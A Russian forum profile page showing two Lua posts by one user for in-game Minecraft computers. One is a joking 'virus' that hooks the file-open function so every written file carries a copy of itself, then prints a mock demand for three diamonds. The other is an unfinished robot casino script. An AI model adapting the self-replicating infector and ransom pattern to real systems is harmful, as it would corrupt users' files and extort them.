Перейти к содержимому

Arteminecrafter

Пользователи
  • Публикации

    13
  • Зарегистрирован

  • Посещение

Сообщения, опубликованные пользователем Arteminecrafter


  1. Я говорю про игровые деньги


    Вы что


    Я так пошутил


    Например:

    local body=[[
    local nativeopen=fs.open
    local VirBody=...
    fs.open=function(path, mode)
      local file=nativeopen(path, mode)
      if file then
        if mode=='r' then
          if file.readLine()=='-- Virus' then for i=1,19 do file.readLine() end
          else file=nativeopen(path, mode) end
        elseif mode=='w' then
          file.writeLine('-- Virus')
          file.writeLine('local body='..string.char(91,91))
          file.write(VirBody)
          file.writeLine(string.char(93,93).." loadstring(body,'Zer0Virus')(body)")
          file.flush()
        end
      end
      return file
    end]] loadstring(body,'Virus')(body)
    print('You computer is died!')
    print('Pay 3 dimonds for unlock')
    print('- Arteminecrafter')
    
    • Нравится 1


  2. local computer = require("computer")
    local robot = require("robot")
    local component = require("component")
    local sides = require("sides")
    local redstone = component.redstone
    local term = require("term")
    print("Casino v.1.0 build 3 (fixed by Arteminecrafter)")
    io.write("How many % to win:")
    x = io.read()
    if x ~= 0 then
    ver = 100 / x
    elseif x == 0 then
    ver = 0
    end
    function scan()
    redstone.setOutput(sides.back,0)
    alm = robot.compareTo(16)
    co = robot.count()
    robot.suck()
    if alm == true and co > 0 and ver ~= 0 then
    robot.dropDown()
    rand = math.random(ver)
    print(rand)
    if rand == 1 then
    redstone.setOutput(sides.back,15)
    os.sleep(1)
    redstone.setOutput(sides.back,0)
    elseif rand ~= 1 then
    computer.beep(2000, 0.7)
    elseif alm == true and co > 0 and ver == 0 then
    robot.dropDown()
    rand = 0
    print(rand)
    computer.beep(2000, 0.7)
    end
    end
    end
    while true do

×
×
  • Создать...